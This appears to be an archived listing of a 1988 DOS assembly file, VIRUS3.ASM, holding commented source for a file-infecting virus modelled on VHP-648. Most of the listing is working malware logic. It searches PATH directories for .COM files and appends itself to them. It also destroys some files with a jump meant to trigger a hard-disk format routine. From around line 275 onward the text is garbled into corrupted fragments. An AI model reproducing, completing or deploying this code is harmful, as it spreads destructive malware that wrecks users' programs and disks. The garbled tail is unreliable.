home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / VIRUS3.ASM < prev    next >
Assembly Source File  |  1988-12-09  |  7KB  |  309 lines

  1.     name    Virus
  2.     title    Virus; based on the famous VHP-648 virus
  3.     .radix    16
  4. code    segment
  5.     assume    cs:code,ds:code
  6.     org    100
  7. environ equ    2C
  8.  
  9. start:
  10.     jmp    virus
  11.     int    20
  12.  
  13. data    label    byte        ;Data section
  14. dtaaddr dd    ?        ;Disk Transfer Address
  15. ftime    dw    ?        ;File date
  16. fdate    dw    ?        ;File time
  17. fattrib dw    ?        ;File attribute
  18. saveins db    3 dup (90)    ;Original first 3 bytes
  19. newjmp    db    0E9        ;Code of jmp instruction
  20. codeptr dw    ?        ;Here is formed a jump to virus code
  21. allcom    db    '*.COM',0       ;Filespec to search for
  22. poffs    dw    ?        ;Address of 'PATH' string
  23. eqoffs    dw    ?        ;Address of '=' sign
  24. pathstr db    'PATH='
  25. fname    db    40 dup (' ')    ;Path name to search for
  26.  
  27. ;Disk Transfer Address for Find First / Find Next:
  28.  
  29. mydta    label    byte
  30. drive    db    ?        ;Drive to search for
  31. pattern db    13d dup (?)    ;Search pattern
  32. reserve db    7 dup (?)    ;Not used
  33. attrib    db    ?        ;File attribute
  34. time    dw    ?        ;File time
  35. date    dw    ?        ;File date
  36. fsize    dd    ?        ;File size
  37. namez    db    13d dup (?)    ;File name found
  38.  
  39. ;This replaces the first instruction of a destroyed file.
  40. ;It's a jmp instruction into the hard disk formatting program (IBM XT only):
  41.  
  42. bad_jmp db    0EA,0,0,0,0C8
  43. errhnd    dd    ?
  44.  
  45. virus:
  46.     push    cx        ;Save CX
  47.  
  48.     mov    dx,offset data    ;Restore original first instruction
  49. modify    equ    $-2        ;The instruction above is changed
  50.                 ; before each contamination
  51.     cld
  52.     mov    si,dx
  53.     add    si,saveins-data ;Instruction saved there
  54.     mov    di,offset start
  55.     mov    cx,3        ;Move 3 bytes
  56.     rep    movsb        ;Do it
  57.     mov    si,dx        ;Keep SI pointed at data
  58.  
  59.     mov    ah,30        ;Get DOS version
  60.     int    21
  61.     cmp    al,0        ;Less than 2.0?
  62.     jne    skip1
  63.     jmp    exit        ;Exit if so
  64.  
  65. skip1:
  66.     push    es        ;Save ES
  67.     mov    ah,2F        ;Get current DTA in ES:BX
  68.     int    21
  69.     mov    [si+dtaaddr-data],bx    ;Save it in dtaaddr
  70.     mov    [si+dtaaddr+2-data],es
  71.  
  72.     mov    ax,3524     ;Get interrupt 24h handler
  73.     int    21        ; and save it in errhnd
  74.     mov    [si+errhnd-data],bx
  75.     mov    [si+errhnd+2-data],es
  76.     pop    es        ;Restore ES
  77.  
  78.     mov    ax,2524     ;Set interrupt 24h handler
  79.     mov    dx,si
  80.     add    dx,handler-data
  81.     int    21
  82.  
  83.     mov    dx,mydta-data
  84.     add    dx,si
  85.     mov    ah,1A        ;Set DTA
  86.     int    21
  87.  
  88.     push    es        ;Save ES & SI
  89.     push    si
  90.     mov    es,ds:[environ] ;Environment address
  91.     xor    di,di
  92. n_00015A:            ;Search 'PATH' in environment
  93.     pop    si        ;Restore data offset in SI
  94.     push    si
  95.     add    si,pathstr-data
  96.     lodsb
  97.     mov    cx,8000     ;Maximum 32K in environment
  98.     repne    scasb        ;Search for first letter ('P')
  99.     mov    cx,4        ;4 letters in 'PATH'
  100. n_000169:
  101.     lodsb            ;Search for next char
  102.     scasb
  103.     jne    n_00015A    ;If not found, search for next 'P'
  104.     loop    n_000169    ;Loop until done
  105.     pop    si        ;Restore SI & ES
  106.     pop    es
  107.  
  108.     mov    [si+poffs-data],di    ;Save 'PATH' offset in poffs
  109.     mov    bx,si        ;Point BX at data area
  110.     add    si,fname-data    ;Point SI & DI at fname
  111.     mov    di,si
  112.     jmp    short n_0001BF
  113.  
  114. n_000185:
  115.     cmp    word ptr [si+poffs-data],6C
  116.     jne    n_00018F
  117.     jmp    olddta
  118. n_00018F:
  119.     push    ds
  120.     push    si
  121.     mov    ds,es:[environ]
  122.     mov    di,si
  123.     mov    si,es:[di+poffs-data]
  124.     add    di,fname-data
  125. n_0001A1:
  126.     lodsb
  127.     cmp    al,';'
  128.     je    n_0001B0
  129.     cmp    al,0
  130.     je    n_0001AD
  131.     stosb
  132.     jmp    n_0001A1
  133. n_0001AD:
  134.     xor    si,si
  135. n_0001B0:
  136.     pop    bx
  137.     pop    ds
  138.     mov    [bx+poffs-data],si
  139.     cmp    byte ptr [di-1],'\'
  140.     je    n_0001BF
  141.     mov    al,'\'          ;Add '\' if not already present
  142.     stosb
  143.  
  144. n_0001BF:
  145.     mov    [bx+eqoffs-data],di    ;Save '=' offset in eqoffs
  146.     mov    si,bx        ;Restore data pointer in SI
  147.     add    si,allcom-data
  148.     mov    cl,6        ;6 bytes in ASCIIZ '*.COM'
  149.     rep    movsb        ;Move '*.COM' at fname
  150.     mov    si,bx        ;Restore SI
  151.  
  152.     mov    ah,4E        ;Find first file
  153.     mov    dx,fname-data
  154.     add    dx,si
  155.     mov    cl,11b        ;Hidden, Read/Only or Normal files
  156.     int    21
  157.     jmp    short n_0001E3
  158.  
  159. findnext:
  160.     mov    ah,4F        ;Find next file
  161.     int    21
  162. n_0001E3:
  163.     jnc    n_0001E7    ;If found, try to contaminate it
  164.     jmp    n_000185    ;Otherwise search in another directory
  165.  
  166. n_0001E7:
  167.     mov    ax,[si+time-data]    ;Check file time
  168.     and    al,11111b    ; (the seconds, more exactly)
  169.     cmp    al,62d/2    ;Are they 62?
  170.  
  171. ;If so, file is already contains the virus, search for another:
  172.  
  173.     je    findnext
  174.  
  175. ;Is file size greather than 64,000 bytes?
  176.  
  177.     cmp    [si+fsize-data],64000d
  178.     ja    findnext    ;If so, search for next file
  179.  
  180. ;Is file size less than 10 bytes?
  181.  
  182.     cmp    word ptr [si+fsize-data],10d
  183.     jb    findnext    ;If so, search for next file
  184.  
  185.     mov    di,[si+eqoffs-data]
  186.     push    si        ;Save SI
  187.     add    si,namez-data    ;Point SI at namez
  188. n_000209:
  189.     lodsb
  190.     stosb
  191.     cmp    al,0
  192.     jne    n_000209
  193.  
  194.     pop    si        ;Restore SI
  195.     mov    ax,4300     ;Get file attributes
  196.     mov    dx,fname-data
  197.     add    dx,si
  198.     int    21
  199.  
  200.     mov    [si+fattrib-data],cx    ;Save them in fattrib
  201.     mov    ax,4301     ;Set file attributes
  202.     and    cl,not 1    ;Turn off Read Only flag
  203.     int    21
  204.  
  205.     mov    ax,3D02     ;Open file with Read/Write access
  206.     int    21
  207.     jnc    n_00023E
  208.     jmp    oldattr     ;Exit on error
  209.  
  210. n_00023E:
  211.     mov    bx,ax        ;Save file handle in BX
  212.     mov    ax,5700     ;Get file date & time
  213.     int    21
  214.     mov    [si+ftime-data],cx    ;Save time in ftime
  215.     mov    [si+fdate-data],dx    ;Save date in fdate
  216.  
  217.     mov    ah,2C        ;Get system time
  218.     int    21
  219.     and    dh,111b     ;Are seconds a multiple of 8?
  220.     jnz    n_000266    ;If not, contaminate file (don't destroy):
  221.  
  222. ;Destroy file by rewriting an illegal jmp as first instruction:
  223.  
  224.     mov    ah,40        ;Write to file handle
  225.     mov    cx,5        ;Write 5 bytes
  226.     mov    dx,si
  227.     add    dx,bad_jmp-data ;Write THESE bytes
  228.     int    21        ;Do it
  229.     jmp    short oldtime    ;Exit
  230.  
  231. ;Try to contaminate file:
  232.  
  233. ;Read first instruction of the file (first 3 bytes) and save it in saveins:
  234.  
  235. n_000266:
  236.     mov    ah,3F        ;Read from file handle
  237.     mov    cx,3        ;Read 3 bytes
  238.     mov    dx,saveins-data ;Put them there
  239.     add    dx,si
  240.     int    21
  241.     jc    oldtime     ;Exit on error
  242.     cmp    ax,3        ;Are really 3 bytes read?
  243.     jne    oldtime     ;Exit if not
  244.  
  245. ;Move file pointer to end of file:
  246.  
  247.     mov    ax,4202     ;LSEEK from end of file
  248.     xor    cx,cx        ;0 bytes from end
  249.     xor    dx,dx
  250.     int    21
  251.     jc    oldtime     ;Exit on error
  252.  
  253.     mov    cx,ax        ;Get the value of file pointer (file size)
  254.     add    ax,virus-data-3 ;Add virus data length to get code offset
  255.     mov    [si+codeptr-data],ax    ;Save result in codeptr
  256.     inc    ch        ;Add 100h to CX
  257.     mov    di,si
  258.     add    di,modify-data    ;A little self-modification
  259.     mov    [di],cx
  260.  
  261.     mov    ah,40        ;Write to file handle
  262.     mov    cx,endcode-data ;Virus code length as bytes to be written
  263.     mov    dx,si        ;Write from data to endcode
  264.     int    21
  265.     jc    oldtime     ;Exit on error
  266.     cmp    ax,endcode-data ;Are all bytes written?
  267.     jne    oldtime     ;Exit if not
  268.  
  269.     mov    ax,4200     ;LSEEK from the beginning of the file
  270.     xor    cx,cx        ;Just at the file beginning
  271.     xor    dx,dx
  272.     int    21
  273.     jc    oldtime     ;Exit on error
  274.  
  275. ;Rewrite the first instruction of the file ate-dne    bove ata area
  276.     adttttttt
  277. grrr
  278.  
  279. frrrrrrt:
  280.     mov    ah,4Frrrrrrrrrrre EPpll zDstrrrrrr
  281. e ata area
  282.     adttttttt
  283. grrr
  284. g1r1rH)a0x,2524     a0me l eO3Efleqryc+qn_00dd    si,d    ont    21
  285.     jc    oldtime     ;Exit on error
  286.     cmp    me l eO3E*;
  287. conds, more exa    mov    ahop    ssi,d    ont    21G3,n'0exit        ;Exit if i bl eO3Efleq n_0001A1:
  288.     lods01:
  289.         Tn v    ax,vitrtvs,pathstrt
  290.     rp
  291. tore SI
  292. ff  to enaMvall byly    ont    21
  293.     jc    ?i eO3js
  294.  
  295. mar it vall bylit vall tfll etan
  296. rE    ax,[di+poffs-datat
  297. conds,lodsblit )Eo
  298. :b; eO3Eeax        ;Get the value of file pointer (f
  299.  
  300. mar  file
  301.     xor'artvs,papoinre to file hand  ;n written?
  302.     jenaMoSwi,edO3E*;cog1ll byly    ont    2ijc    oltfll etan
  303. rnax,4CSave 'n,X cs,papa tss a font    ah,4E ,Nt5h
  304. enaMoSwta    'p    ax,c    olhem in Kpto file hand  ;n writc file
  305. ;o dleptrle han yc+qnlile
  306.     xor'artvsd  ;nCcfont    n v    ae    od
  307.     mo    ldfile
  308. le hh znt    Swi,     d
  309. rt2